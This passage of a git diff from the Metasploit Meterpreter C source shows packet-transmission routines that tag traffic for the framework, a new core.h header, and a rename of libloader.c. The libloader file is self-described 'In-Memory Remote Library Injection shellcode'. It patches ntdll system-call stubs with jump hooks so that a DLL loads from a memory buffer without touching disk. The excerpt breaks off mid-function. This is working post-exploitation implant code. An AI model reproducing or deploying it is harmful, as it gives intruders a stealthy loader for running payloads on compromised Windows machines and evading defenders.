packet_transmit_empty_response(Remote *remote, Packet *packet, DWORD res) +{ + Packet *response = packet_create_response(packet); + + if (!response) + { + return ERROR_NOT_ENOUGH_MEMORY; + } + + return packet_transmit_response(res, remote, response); +} + +/*! + * @brief Transmit a `TLV_TYPE_RESULT` response if `response` is present. + * @param result The result to be sent. + * @param remote Reference to the remote connection to send the response to. + * @param response the Response to add the `result` to. + */ +DWORD packet_transmit_response(DWORD result, Remote* remote, Packet* response) +{ + if (response) + { + packet_add_tlv_uint(response, TLV_TYPE_RESULT, result); + return packet_transmit(remote, response, NULL); + } + return ERROR_NOT_ENOUGH_MEMORY; +} + +DWORD packet_add_request_id(Packet* packet) +{ + Tlv requestId = { 0 }; + + // If the packet does not already have a request identifier, create one for it + if (packet_get_tlv_string(packet, TLV_TYPE_REQUEST_ID, &requestId) != ERROR_SUCCESS) + { + DWORD index; + CHAR rid[32]; + + rid[sizeof(rid)-1] = 0; + + for (index = 0; index < sizeof(rid)-1; index++) + { + rid[index] = (rand() % 0x5e) + 0x21; + } + + packet_add_tlv_string(packet, TLV_TYPE_REQUEST_ID, rid); + } + return ERROR_SUCCESS; +} + +DWORD packet_transmit(Remote* remote, Packet* packet, PacketRequestCompletion* completion) +{ + if (packet->partner != NULL && packet->partner->local) + { + dprintf("[TRANSMIT] Ignoring local packet"); + return ERROR_SUCCESS; + } + + Tlv requestId; + DWORD res; + BYTE* encryptedPacket = NULL; + DWORD encryptedPacketLength = 0; + + dprintf("[TRANSMIT] Sending packet to the server"); + packet_add_request_id(packet); + + // Always add the UUID to the packet as well, so that MSF knows who and what we are + packet_add_tlv_raw(packet, TLV_TYPE_UUID, remote->orig_config->session.uuid, UUID_SIZE); + + do + { + // If a completion routine was supplied and the packet has a request + // identifier, insert the completion routine into the list + if ((completion) && + (packet_get_tlv_string(packet, TLV_TYPE_REQUEST_ID, + &requestId) == ERROR_SUCCESS)) + { + packet_add_completion_handler((LPCSTR)requestId.buffer, completion); + } + + encrypt_packet(remote, packet, &encryptedPacket, &encryptedPacketLength); + dprintf("[PACKET] Sending packet to remote, length: %u", encryptedPacketLength); + + dprintf("[PACKET] Remote: %p", remote); + dprintf("[PACKET] Transport: %p", remote->transport); + dprintf("[PACKET] Packet Transmit: %p", remote->transport->packet_transmit); + SetLastError(remote->transport->packet_transmit(remote, encryptedPacket, encryptedPacketLength)); + } while (0); + + res = GetLastError(); + + if (encryptedPacket != NULL) + { + free(encryptedPacket); + } + + // Destroy the packet + packet_destroy(packet); + + return res; } \ No newline at end of file diff --git a/c/meterpreter/source/metsrv/core.h b/c/meterpreter/source/metsrv/core.h new file mode 100644 index 00000000..08e8c176 --- /dev/null +++ b/c/meterpreter/source/metsrv/core.h @@ -0,0 +1,71 @@ +/*! + * @file core.h + * @brief Declarations of core components of the Meterpreter suite. + * @details Much of what exists in the core files is used in almost every area + * of the Meterpreter code base, and hence it's very important. Don't + * change this stuff unless you know what you're doing! + */ +#ifndef _METERPRETER_METSRV_CORE_H +#define _METERPRETER_METSRV_CORE_H + +#include "common_remote.h" +#include "common_list.h" + +/* + * Packet manipulation + */ +Packet *packet_create(PacketTlvType type, LPCSTR method); +Packet *packet_create_response(Packet *packet); +Packet* packet_create_group(); +Packet *packet_duplicate(Packet *packet); +VOID packet_destroy(Packet *packet); + +DWORD packet_add_group(Packet* packet, TlvType type, Packet* groupPacket); +DWORD packet_add_tlv_string(Packet *packet, TlvType type, LPCSTR str); +DWORD packet_add_tlv_wstring(Packet *packet, TlvType type, LPCWSTR str); +DWORD packet_add_tlv_wstring_len(Packet *packet, TlvType type, LPCWSTR str, size_t strLength); +DWORD packet_add_tlv_uint(Packet *packet, TlvType type, UINT val); +DWORD packet_add_tlv_qword(Packet *packet, TlvType type, QWORD val ); +DWORD packet_add_tlv_bool(Packet *packet, TlvType type, BOOL val); +DWORD packet_add_tlv_group(Packet *packet, TlvType type, Tlv *entries, DWORD numEntries); +DWORD packet_add_tlvs(Packet *packet, Tlv *entries, DWORD numEntries); +DWORD packet_add_tlv_raw(Packet *packet, TlvType type, LPVOID buf, DWORD length); +DWORD packet_is_tlv_null_terminated(Tlv *tlv); +PacketTlvType packet_get_type(Packet *packet); +TlvMetaType packet_get_tlv_meta(Packet *packet, Tlv *tlv); +DWORD packet_get_tlv(Packet *packet, TlvType type, Tlv *tlv); +DWORD packet_get_tlv_string(Packet *packet, TlvType type, Tlv *tlv); +DWORD packet_get_tlv_group_entry(Packet *packet, Tlv *group, TlvType type,Tlv *entry); +DWORD packet_enum_tlv(Packet *packet, DWORD index, TlvType type, Tlv *tlv); + +PCHAR packet_get_tlv_value_string(Packet *packet, TlvType type); +wchar_t* packet_get_tlv_value_wstring(Packet* packet, TlvType type); +UINT packet_get_tlv_value_uint(Packet *packet, TlvType type); +BYTE * packet_get_tlv_value_raw( Packet * packet, TlvType type ); +QWORD packet_get_tlv_value_qword(Packet *packet, TlvType type); +BOOL packet_get_tlv_value_bool(Packet *packet, TlvType type); + +DWORD packet_add_exception(Packet *packet, DWORD code,PCHAR string, ...); + +/* + * Packet transmission + */ +DWORD packet_transmit_response(DWORD result, Remote* remote, Packet* response); +DWORD packet_transmit(Remote* remote, Packet* packet, PacketRequestCompletion* completion); +DWORD packet_transmit_empty_response(Remote *remote, Packet *packet, DWORD res); +DWORD packet_add_request_id(Packet* packet); + +/* + * Packet completion notification + */ +DWORD packet_add_completion_handler(LPCSTR requestId, PacketRequestCompletion *completion); +DWORD packet_call_completion_handlers(Remote *remote, Packet *response,LPCSTR requestId); +DWORD packet_remove_completion_handler(LPCSTR requestId); + +/* + * Core API + */ +HANDLE core_update_thread_token( Remote *remote, HANDLE token ); +VOID core_update_desktop( Remote * remote, DWORD dwSessionID, char * cpStationName, char * cpDesktopName ); + +#endif diff --git a/c/meterpreter/source/server/win/libloader.c b/c/meterpreter/source/metsrv/libloader.c old mode 100755 new mode 100644 similarity index 96% rename from c/meterpreter/source/server/win/libloader.c rename to c/meterpreter/source/metsrv/libloader.c index cd16cabb..4867ffdf --- a/c/meterpreter/source/server/win/libloader.c +++ b/c/meterpreter/source/metsrv/libloader.c @@ -1,614 +1,614 @@ -/* - * libloader -- In-Memory Remote Library Injection shellcode - * Jarkko Turkulainen - * - * Platforms: Windows NT4/2000/XP/2003 - * - * Credits: - * - * - skape for ideas, nologin, Metasploit - * - * - * ---- - * - * This is a modified version of the original that has been slightly changed - * in order to integrate it with meterpreter. - */ -#include "metsrv.h" -#include -#include -#include - -#include "libloader.h" - -/* NTSTATUS values */ -#define STATUS_SUCCESS 0x00000000 -#define STATUS_IMAGE_NOT_AT_BASE 0x40000003 - -/* Time values */ -#define HIGH_TIME 0x01C422FA -#define LOW_TIME_1 0x7E275CE0 -#define LOW_TIME_2 0x8E275CE0 - -/* Some defines ripped off from DDK */ -typedef struct _FILE_BASIC_INFORMATION { - LARGE_INTEGER CreationTime; - LARGE_INTEGER LastAccessTime; - LARGE_INTEGER LastWriteTime; - LARGE_INTEGER ChangeTime; - ULONG FileAttributes; -} FILE_BASIC_INFORMATION, *PFILE_BASIC_INFORMATION; - -typedef enum _SECTION_INFORMATION_CLASS { - SectionBasicInformation, - SectionImageInformation -} SECTION_INFORMATION_CLASS; - -typedef LARGE_INTEGER PHYSICAL_ADDRESS, *PPHYSICAL_ADDRESS; - -typedef LONG NTSTATUS; -#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) - -typedef struct _IO_STATUS_BLOCK { - NTSTATUS Status; - ULONG Information; -} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK; - -typedef struct _UNICODE_STRING { - USHORT Length; - USHORT MaximumLength; -#ifdef MIDL_PASS - [size_is(MaximumLength / 2), length_is((Length) / 2) ] USHORT * Buffer; -#else - PWSTR Buffer; -#endif -} UNICODE_STRING; -typedef UNICODE_STRING *PUNICODE_STRING; - -typedef struct _ANSI_STRING { - USHORT Length; - USHORT MaximumLength; - PWSTR Buffer; -} ANSI_STRING, *PANSI_STRING, STRING, *PSTRING; - -typedef enum _SECTION_INHERIT { - ViewShare = 1, - ViewUnmap = 2 -} SECTION_INHERIT; - -typedef struct _OBJECT_ATTRIBUTES { - ULONG Length; - HANDLE RootDirectory; - PUNICODE_STRING ObjectName; - ULONG Attributes; - PVOID SecurityDescriptor; - PVOID SecurityQualityOfService; -} OBJECT_ATTRIBUTES; -typedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES; - -typedef NTSTATUS (NTAPI *f_NtOpenSection)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES); -typedef NTSTATUS (NTAPI *f_NtQueryAttributesFile)(POBJECT_ATTRIBUTES, PFILE_BASIC_INFORMATION); -typedef void (NTAPI *f_NtOpenFile)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, - PIO_STATUS_BLOCK, ULONG ShareAccess, ULONG); -typedef NTSTATUS (NTAPI *f_NtCreateSection)(PHANDLE, ULONG, POBJECT_ATTRIBUTES, PLARGE_INTEGER, - ULONG, ULONG, HANDLE); -typedef NTSTATUS (NTAPI *f_NtMapViewOfSection)(HANDLE, HANDLE, PVOID *, ULONG, ULONG, - PLARGE_INTEGER, PULONG, SECTION_INHERIT, ULONG, ULONG); -typedef NTSTATUS (NTAPI *f_NtClose)(HANDLE); - -typedef struct _SHELLCODE_CTX { - - /* Library name */ - char libname[256]; - int liblen; - /* Global offset */ - DWORD offset; - /* Allocated memory sections */ - DWORD file_address; - DWORD mapped_address; - DWORD size_map; - - /* Hook stub functions */ - unsigned char s_NtOpenSection[10]; - unsigned char s_NtQueryAttributesFile[10]; - unsigned char s_NtOpenFile[10]; - unsigned char s_NtCreateSection[10]; - unsigned char s_NtMapViewOfSection[10]; - unsigned char s_NtClose[10]; - - /* Hooked functions */ - DWORD NtOpenSection; - DWORD NtQueryAttributesFile; - DWORD NtOpenFile; - DWORD NtCreateSection; - DWORD NtMapViewOfSection; - DWORD NtClose; - - f_NtOpenSection p_NtOpenSection; - f_NtQueryAttributesFile p_NtQueryAttributesFile; - f_NtOpenFile p_NtOpenFile; - f_NtCreateSection p_NtCreateSection; - f_NtMapViewOfSection p_NtMapViewOfSection; - f_NtClose p_NtClose; - -} SHELLCODE_CTX; - -SHELLCODE_CTX *ctx = NULL; - -#pragma comment(lib, "ws2_32.lib") - -#pragma warning(disable: 4068) - -/* - * Find library name from given unicode string - */ -int find_string(SHELLCODE_CTX *ctx, UNICODE_STRING *str) -{ - int i, j; - - for (i = 0; i < str->Length; i++) - { - for (j = 0; j < ctx->liblen; j++) - { - if (str->Buffer[i + j] != ctx->libname[j]) - break; - } - - /* Match */ - if (j == ctx->liblen) - return 0; - } - - return 1; -} - -/* NtOpenSection hook */ -NTSTATUS NTAPI m_NtOpenSection( - PHANDLE SectionHandle, - ACCESS_MASK DesiredAccess, - POBJECT_ATTRIBUTES ObjectAttributes) -{ - /* Find our context */ - if (!find_string(ctx, ObjectAttributes->ObjectName)) - { - *SectionHandle = (PHANDLE)ctx->mapped_address; - return STATUS_SUCCESS; - } - - return ctx->p_NtOpenSection(SectionHandle, DesiredAccess, - ObjectAttributes); -} - -/* NtQueryAttributesFile hook */ -NTSTATUS NTAPI m_NtQueryAttributesFile( - POBJECT_ATTRIBUTES ObjectAttributes, - PFILE_BASIC_INFORMATION FileAttributes) -{ - if (!find_string(ctx, ObjectAttributes->ObjectName)) - { - /* - * struct PFILE_BASIC_INFORMATION must be actually filled - * with something sane, otherwise it might break something. - * The values are defined in libloader.h - * - */ - FileAttributes->CreationTime.LowPart = LOW_TIME_1; - FileAttributes->CreationTime.HighPart = HIGH_TIME; - FileAttributes->LastAccessTime.LowPart = LOW_TIME_2; - FileAttributes->LastAccessTime.HighPart = HIGH_TIME; - FileAttributes->LastWriteTime.LowPart = LOW_TIME_1; - FileAttributes->LastWriteTime.HighPart = HIGH_TIME; - FileAttributes->ChangeTime.LowPart = LOW_TIME_1; - FileAttributes->ChangeTime.HighPart = HIGH_TIME; - FileAttributes->FileAttributes = FILE_ATTRIBUTE_NORMAL; - return STATUS_SUCCESS; - } - - return ctx->p_NtQueryAttributesFile(ObjectAttributes, FileAttributes); -} - -/* NtOpenFile hook */ -void NTAPI m_NtOpenFile( - PHANDLE FileHandle, - ACCESS_MASK DesiredAccess, - POBJECT_ATTRIBUTES ObjectAttributes, - PIO_STATUS_BLOCK IoStatusBlock, - ULONG ShareAccess, - ULONG OpenOptions) -{ - if (!find_string(ctx, ObjectAttributes->ObjectName)) - { - *FileHandle = (PVOID)ctx->mapped_address; - return; - } - - ctx->p_NtOpenFile( - FileHandle, - DesiredAccess, - ObjectAttributes, - IoStatusBlock, - ShareAccess, - OpenOptions); - - return; -} - -/* NtCreateSection hook */ -NTSTATUS NTAPI m_NtCreateSection( - PHANDLE SectionHandle, - ULONG DesiredAccess, - POBJECT_ATTRIBUTES ObjectAttributes, - PLARGE_INTEGER MaximumSize, - ULONG PageAttributes, - ULONG SectionAttributes, - HANDLE FileHandle) -{ - if (FileHandle == (HANDLE)ctx->mapped_address) - { - *SectionHandle = (PVOID)ctx->mapped_address; - return STATUS_SUCCESS; - } - - return ctx->p_NtCreateSection( - SectionHandle, - DesiredAccess, - ObjectAttributes, - MaximumSize, - PageAttributes, - SectionAttributes, - FileHandle); -} - - -/* NtMapViewOfSection hook */ -NTSTATUS NTAPI m_NtMapViewOfSection( - HANDLE SectionHandle, - HANDLE ProcessHandle, - PVOID *BaseAddress, - ULONG ZeroBits, - ULONG CommitSize, - PLARGE_INTEGER SectionOffset, - PULONG ViewSize, - SECTION_INHERIT InheritDisposition, - ULONG AllocationType, - ULONG Protect) -{ - if (SectionHandle == (HANDLE)ctx->mapped_address) - { - *BaseAddress = (PVOID)ctx->mapped_address; - *ViewSize = ctx->size_map; - - /* We assume that the image must be relocated */ - return STATUS_IMAGE_NOT_AT_BASE; - } - - return ctx->p_NtMapViewOfSection( - SectionHandle, - ProcessHandle, - BaseAddress, - ZeroBits, - CommitSize, - SectionOffset, - ViewSize, - InheritDisposition, - AllocationType, - Protect); -} - -/* NtClose hook */ -NTSTATUS NTAPI m_NtClose( - HANDLE Handle) -{ - - if (Handle == (HANDLE)ctx->mapped_address) - { - return STATUS_SUCCESS; - } - - return ctx->p_NtClose(Handle); -} - -/* Patch given function */ -void patch_function(SHELLCODE_CTX *ctx, UINT_PTR address, unsigned char *stub, - unsigned char *hook) -{ - DWORD protect; - ULONG bytes; - SIZE_T written; - MEMORY_BASIC_INFORMATION mbi_thunk; - - /* - * Most native NT functions begin with stub like this: - * - * 00000000 B82B000000 mov eax,0x2b ; syscall - * 00000005 8D542404 lea edx,[esp+0x4] ; arguments - * 00000009 CD2E int 0x2e ; interrupt - * - * In offset 0, the actual system call is saved in eax. Syscall - * is 32 bit number (!) so we can assume 5 bytes of preamble size - * for each function.. If there's need to hook other functions, - * a complete disassembler is needed for preamble size counting. - * - */ - bytes = 5; - - /* Create the stub */ - WriteProcessMemory((HANDLE)-1, stub, (char *)address, - bytes, &written); - *(PBYTE)(stub + bytes) = 0xE9; - *(DWORD *)(stub + bytes + 1) = (DWORD)address - ((DWORD)stub + 5); - - - /* Patch original function */ - - /* Fix protection */ - VirtualQuery((char *)address, &mbi_thunk, - sizeof(MEMORY_BASIC_INFORMATION)); - VirtualProtect(mbi_thunk.BaseAddress, mbi_thunk.RegionSize, - PAGE_EXECUTE_READWRITE, &mbi_thunk.Protect); - - /* Insert jump */ - *(PBYTE)address = 0xE9; - *(DWORD *)(address + 1) = (DWORD)hook - ((DWORD)address + 5); - - - /* Restore protection */ - VirtualProtect(mbi_thunk.BaseAddress, mbi_thunk.RegionSize, - mbi_thunk.Protect, &protect); - FlushInstructionCache((HANDLE)-1, mbi_thunk.BaseAddress, - mbi_thunk.RegionSize); - -} - -/* Install hooks, fix addresses */ -void install_hooks(SHELLCODE_CTX *ctx) -{ - f_NtMapViewOfSection lNtMapViewOfSection; - f_NtQueryAttributesFile lNtQueryAttributesFile; - f_NtOpenFile lNtOpenFile; - f_NtCreateSection lNtCreateSection; - f_NtOpenSection lNtOpenSection; - f_NtClose lNtClose; - HMODULE ntdll; - - if (!(ntdll = LoadLibrary(TEXT("ntdll")))) - { - return; - } - - lNtMapViewOfSection = (f_NtMapViewOfSection)GetProcAddress(ntdll, "NtMapViewOfSection"); - lNtQueryAttributesFile = (f_NtQueryAttributesFile)GetProcAddress(ntdll, "NtQueryAttributesFile"); - lNtOpenFile = (f_NtOpenFile)GetProcAddress(ntdll, "NtOpenFile"); - lNtCreateSection = (f_NtCreateSection)GetProcAddress(ntdll, "NtCreateSection"); - lNtOpenSection = (f_NtOpenSection)GetProcAddress(ntdll, "NtOpenSection"); - lNtClose = (f_NtClose)GetProcAddress(ntdll, "NtClose"); - - /* NtMapViewOfSection */ - - /* Patch */ - patch_function(ctx, (UINT_PTR)lNtMapViewOfSection, - ctx->s_NtMapViewOfSection, - (unsigned char *)m_NtMapViewOfSection); - - /* Copy pointer */ - ctx->p_NtMapViewOfSection = - (f_NtMapViewOfSection)ctx->s_NtMapViewOfSection; - - /* NtQueryAttributesFile */ - patch_function(ctx, (UINT_PTR)lNtQueryAttributesFile, - ctx->s_NtQueryAttributesFile, - (unsigned char *)m_NtQueryAttributesFile); - ctx->p_NtQueryAttributesFile = - (f_NtQueryAttributesFile)ctx->s_NtQueryAttributesFile; - - /* NtOpenFile */ - patch_function(ctx, (UINT_PTR)lNtOpenFile, ctx->s_NtOpenFile, - (unsigned char *)m_NtOpenFile); - ctx->p_NtOpenFile = (f_NtOpenFile)ctx->s_NtOpenFile; - - /* NtCreateSection */ - patch_function(ctx, (UINT_PTR)lNtCreateSection, ctx->s_NtCreateSection, - (unsigned char *)m_NtCreateSection); - ctx->p_NtCreateSection = (f_NtCreateSection)ctx->s_NtCreateSection; - - /* NtOpenSection */ - patch_function(ctx, (UINT_PTR)lNtOpenSection, ctx->s_NtOpenSection, - (unsigned char *)m_NtOpenSection); - ctx->p_NtOpenSection = (f_NtOpenSection)ctx->s_NtOpenSection; - - /* NtClose */ - patch_function(ctx, (UINT_PTR)lNtClose, ctx->s_NtClose, - (unsigned char *)m_NtClose); - ctx->p_NtClose = (f_NtClose)ctx->s_NtClose; - -} - -/* Restore given function */ -void restore_function(SHELLCODE_CTX *ctx, DWORD address, unsigned char *stub) -{ - DWORD protect; - ULONG bytes; - SIZE_T written; - MEMORY_BASIC_INFORMATION mbi_thunk; - - bytes = 5; - - /* Patch original function */ - - /* Fix protection */ - VirtualQuery((char *)address, &mbi_thunk, - sizeof(MEMORY_BASIC_INFORMATION)); - VirtualProtect(mbi_thunk.BaseAddress, mbi_thunk.RegionSize, - PAGE_EXECUTE_READWRITE, &mbi_thunk.Protect); - - /* Copy bytes back to function */ - WriteProcessMemory((HANDLE)-1, (char *)address, stub, - bytes, &written); - - /* Restore protection */ - VirtualProtect(mbi_thunk.BaseAddress, mbi_thunk.RegionSize, - mbi_thunk.Protect, &protect); - FlushInstructionCache((HANDLE)-1, mbi_thunk.BaseAddress, - mbi_thunk.RegionSize); - -} - -/* Remove hooks */ -void remove_hooks(SHELLCODE_CTX *ctx) -{ - f_NtMapViewOfSection lNtMapViewOfSection; - f_NtQueryAttributesFile lNtQueryAttributesFile; - f_NtOpenFile lNtOpenFile; - f_NtCreateSection lNtCreateSection; - f_NtOpenSection lNtOpenSection; - f_NtClose lNtClose; - HMODULE ntdll; - - if (!(ntdll = LoadLibraryA("ntdll"))) - { - return; - } - - lNtMapViewOfSection = (f_NtMapViewOfSection)GetProcAddress(ntdll, "NtMapViewOfSection"); - lNtQueryAttributesFile = (f_NtQueryAttributesFile)GetProcAddress(ntdll, "NtQueryAttributesFile"); - lNtOpenFile = (f_NtOpenFile)GetProcAddress(ntdll, "NtOpenFile"); - lNtCreateSection = (f_NtCreateSection)GetProcAddress(ntdll, "NtCreateSection"); - lNtOpenSection = (f_NtOpenSection)GetProcAddress(ntdll, "NtOpenSection"); - lNtClose = (f_NtClose)GetProcAddress(ntdll, "NtClose"); - - /* NtMapViewOfSection */ - restore_function(ctx, (DWORD)lNtMapViewOfSection, - ctx->s_NtMapViewOfSection); - - /* NtQueryAttributesFile */ - restore_function(ctx, (DWORD)lNtQueryAttributesFile, - ctx->s_NtQueryAttributesFile); - - /* NtOpenFile */ - restore_function(ctx, (DWORD)lNtOpenFile, ctx->s_NtOpenFile); - - /* NtCreateSection */ - restore_function(ctx, (DWORD)lNtCreateSection, ctx->s_NtCreateSection); - - /* NtOpenSection */ - restore_function(ctx, (DWORD)lNtOpenSection, ctx->s_NtOpenSection); - - /* NtClose */ - restore_function(ctx, (DWORD)lNtClose, ctx->s_NtClose); -} - -/* Map file in memory as section */ -void map_file(SHELLCODE_CTX *ctx) -{ - PIMAGE_NT_HEADERS nt; - PIMAGE_DOS_HEADER dos; - PIMAGE_SECTION_HEADER sect; - int i; - - dos = (PIMAGE_DOS_HEADER)ctx->file_address; - nt = (PIMAGE_NT_HEADERS)(ctx->file_address + dos->e_lfanew); - - /* - * Allocate space for the mapping - * First, try to map the file at ImageBase - * - */ - ctx->mapped_address = (DWORD)VirtualAlloc((PVOID)nt->OptionalHeader.ImageBase, - nt->OptionalHeader.SizeOfImage, - MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE); - - - /* No success, let the system decide.. */ - if (ctx->mapped_address == 0) { - ctx->mapped_address = (DWORD)VirtualAlloc((PVOID)NULL, - nt->OptionalHeader.SizeOfImage, - MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE); - - } - - ctx->size_map = nt->OptionalHeader.SizeOfImage; - - /* Lock the mapping in memory */ - { - ULONG (_stdcall *NtLockVirtualMemory)(HANDLE, PVOID *, PULONG, ULONG); - - NtLockVirtualMemory = (ULONG (_stdcall *)(HANDLE, PVOID *, PULONG, ULONG))GetProcAddress( - GetModuleHandleA("ntdll"), - "NtLockVirtualMemory"); - - if (NtLockVirtualMemory) - { - PVOID base = (PVOID)ctx->mapped_address; - ULONG sz = nt->OptionalHeader.SizeOfImage; - - NtLockVirtualMemory( - (HANDLE)-1, - &base, - &sz, - 1); - } - } - - /* Write headers */ - WriteProcessMemory((HANDLE)-1, (LPVOID)ctx->mapped_address, - (LPVOID)ctx->file_address, nt->OptionalHeader.SizeOfHeaders, 0); - - /* Write sections */ - sect = IMAGE_FIRST_SECTION(nt); - for (i = 0; i < nt->FileHeader.NumberOfSections; i++) { - WriteProcessMemory((HANDLE)-1, - (PCHAR)ctx->mapped_address + sect[i].VirtualAddress, - (PCHAR)ctx->file_address + sect[i].PointerToRawData, - sect[i].SizeOfRawData, 0); - } - -} - -/* - * Load a library in-memory from the provided buffer. - */ -HMODULE libloader_load_library(LPCSTR name, PUCHAR buffer, DWORD bufferLength) -{ - LPCSTR shortName = name, slash = NULL; - HMODULE mod = NULL; - - if ((slash = strrchr(name, '\\'))) - shortName = slash+1; - - ctx = (SHELLCODE_CTX *)VirtualAlloc( - NULL, - sizeof(SHELLCODE_CTX), - MEM_COMMIT, - PAGE_EXECUTE_READWRITE); - - if (!ctx) - return NULL; - - install_hooks(ctx); - - do - { - // The name of the library to load it as - strncpy_s(ctx->libname, sizeof(ctx->libname), shortName, sizeof(ctx->libname) - 1); - ctx->liblen = (int)strlen(ctx->libname) + 1; - - // The address of the raw buffer - ctx->file_address = (DWORD)buffer; - - // Map the buffer into memory - map_file(ctx); - - // Load the fake library - if (!(mod = LoadLibraryA(ctx->libname))) - { - break; - } - - } while (0); - - remove_hooks(ctx); - - VirtualFree(ctx, 0, MEM_RELEASE); - - return mod; -} +/* + * libloader -- In-Memory Remote Library Injection shellcode + * Jarkko Turkulainen + * + * Platforms: Windows NT4/2000/XP/2003 + * + * Credits: + * + * - skape for ideas, nologin, Metasploit + * + * + * ---- + * + * This is a modified version of the original that has been slightly changed + * in order to integrate it with meterpreter. + */ +#include "metsrv.h" +#include +#include +#include + +#include "libloader.h" + +/* NTSTATUS values */ +#define STATUS_SUCCESS 0x00000000 +#define STATUS_IMAGE_NOT_AT_BASE 0x40000003 + +/* Time values */ +#define HIGH_TIME 0x01C422FA +#define LOW_TIME_1 0x7E275CE0 +#define LOW_TIME_2 0x8E275CE0 + +/* Some defines ripped off from DDK */ +typedef struct _FILE_BASIC_INFORMATION { + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + ULONG FileAttributes; +} FILE_BASIC_INFORMATION, *PFILE_BASIC_INFORMATION; + +typedef enum _SECTION_INFORMATION_CLASS { + SectionBasicInformation, + SectionImageInformation +} SECTION_INFORMATION_CLASS; + +typedef LARGE_INTEGER PHYSICAL_ADDRESS, *PPHYSICAL_ADDRESS; + +typedef LONG NTSTATUS; +#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) + +typedef struct _IO_STATUS_BLOCK { + NTSTATUS Status; + ULONG Information; +} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK; + +typedef struct _UNICODE_STRING { + USHORT Length; + USHORT MaximumLength; +#ifdef MIDL_PASS + [size_is(MaximumLength / 2), length_is((Length) / 2) ] USHORT * Buffer; +#else + PWSTR Buffer; +#endif +} UNICODE_STRING; +typedef UNICODE_STRING *PUNICODE_STRING; + +typedef struct _ANSI_STRING { + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; +} ANSI_STRING, *PANSI_STRING, STRING, *PSTRING; + +typedef enum _SECTION_INHERIT { + ViewShare = 1, + ViewUnmap = 2 +} SECTION_INHERIT; + +typedef struct _OBJECT_ATTRIBUTES { + ULONG Length; + HANDLE RootDirectory; + PUNICODE_STRING ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; + PVOID SecurityQualityOfService; +} OBJECT_ATTRIBUTES; +typedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES; + +typedef NTSTATUS (NTAPI *f_NtOpenSection)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES); +typedef NTSTATUS (NTAPI *f_NtQueryAttributesFile)(POBJECT_ATTRIBUTES, PFILE_BASIC_INFORMATION); +typedef void (NTAPI *f_NtOpenFile)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, + PIO_STATUS_BLOCK, ULONG ShareAccess, ULONG); +typedef NTSTATUS (NTAPI *f_NtCreateSection)(PHANDLE, ULONG, POBJECT_ATTRIBUTES, PLARGE_INTEGER, + ULONG, ULONG, HANDLE); +typedef NTSTATUS (NTAPI *f_NtMapViewOfSection)(HANDLE, HANDLE, PVOID *, ULONG, ULONG, + PLARGE_INTEGER, PULONG, SECTION_INHERIT, ULONG, ULONG); +typedef NTSTATUS (NTAPI *f_NtClose)(HANDLE); + +typedef struct _SHELLCODE_CTX { + + /* Library name */ + char libname[256]; + int liblen; + /* Global offset */ + DWORD offset; + /* Allocated memory sections */ + DWORD file_address; + DWORD mapped_address; + DWORD size_map; + + /* Hook stub functions */ + unsigned char s_NtOpenSection[10]; + unsigned char s_NtQueryAttributesFile[10]; + unsigned char s_NtOpenFile[10]; + unsigned char s_NtCreateSection[10]; + unsigned char s_NtMapViewOfSection[10]; + unsigned char s_NtClose[10]; + + /* Hooked functions */ + DWORD NtOpenSection; + DWORD NtQueryAttributesFile; + DWORD NtOpenFile; + DWORD NtCreateSection; + DWORD NtMapViewOfSection; + DWORD NtClose; + + f_NtOpenSection p_NtOpenSection; + f_NtQueryAttributesFile p_NtQueryAttributesFile; + f_NtOpenFile p_NtOpenFile; + f_NtCreateSection p_NtCreateSection; + f_NtMapViewOfSection p_NtMapViewOfSection; + f_NtClose p_NtClose; + +} SHELLCODE_CTX; + +SHELLCODE_CTX *ctx = NULL; + +#pragma comment(lib, "ws2_32.lib") + +#pragma warning(disable: 4068) + +/* + * Find library name from given unicode string + */ +int find_string(SHELLCODE_CTX *ctx, UNICODE_STRING *str) +{ + int i, j; + + for (i = 0; i < str->Length; i++) + { + for (j = 0; j < ctx->liblen; j++) + { + if (str->Buffer[i + j] != ctx->libname[j]) + break; + } + + /* Match */ + if (j == ctx->liblen) + return 0; + } + + return 1; +} + +/* NtOpenSection hook */ +NTSTATUS NTAPI m_NtOpenSection( + PHANDLE SectionHandle, + ACCESS_MASK DesiredAccess, + POBJECT_ATTRIBUTES ObjectAttributes) +{ + /* Find our context */ + if (!find_string(ctx, ObjectAttributes->ObjectName)) + { + *SectionHandle = (PHANDLE)ctx->mapped_address; + return STATUS_SUCCESS; + } + + return ctx->p_NtOpenSection(SectionHandle, DesiredAccess, + ObjectAttributes); +} + +/* NtQueryAttributesFile hook */ +NTSTATUS NTAPI m_NtQueryAttributesFile( + POBJECT_ATTRIBUTES ObjectAttributes, + PFILE_BASIC_INFORMATION FileAttributes) +{ + if (!find_string(ctx, ObjectAttributes->ObjectName)) + { + /* + * struct PFILE_BASIC_INFORMATION must be actually filled + * with something sane, otherwise it might break something. + * The values are defined in libloader.h + * + */ + FileAttributes->CreationTime.LowPart = LOW_TIME_1; + FileAttributes->CreationTime.HighPart = HIGH_TIME; + FileAttributes->LastAccessTime.LowPart = LOW_TIME_2; + FileAttributes->LastAccessTime.HighPart = HIGH_TIME; + FileAttributes->LastWriteTime.LowPart = LOW_TIME_1; + FileAttributes->LastWriteTime.HighPart = HIGH_TIME; + FileAttributes->ChangeTime.LowPart = LOW_TIME_1; + FileAttributes->ChangeTime.HighPart = HIGH_TIME; + FileAttributes->FileAttributes = FILE_ATTRIBUTE_NORMAL; + return STATUS_SUCCESS; + } + + return ctx->p_NtQueryAttributesFile(ObjectAttributes, FileAttributes); +} + +/* NtOpenFile hook */ +void NTAPI m_NtOpenFile( + PHANDLE FileHandle, + ACCESS_MASK DesiredAccess, + 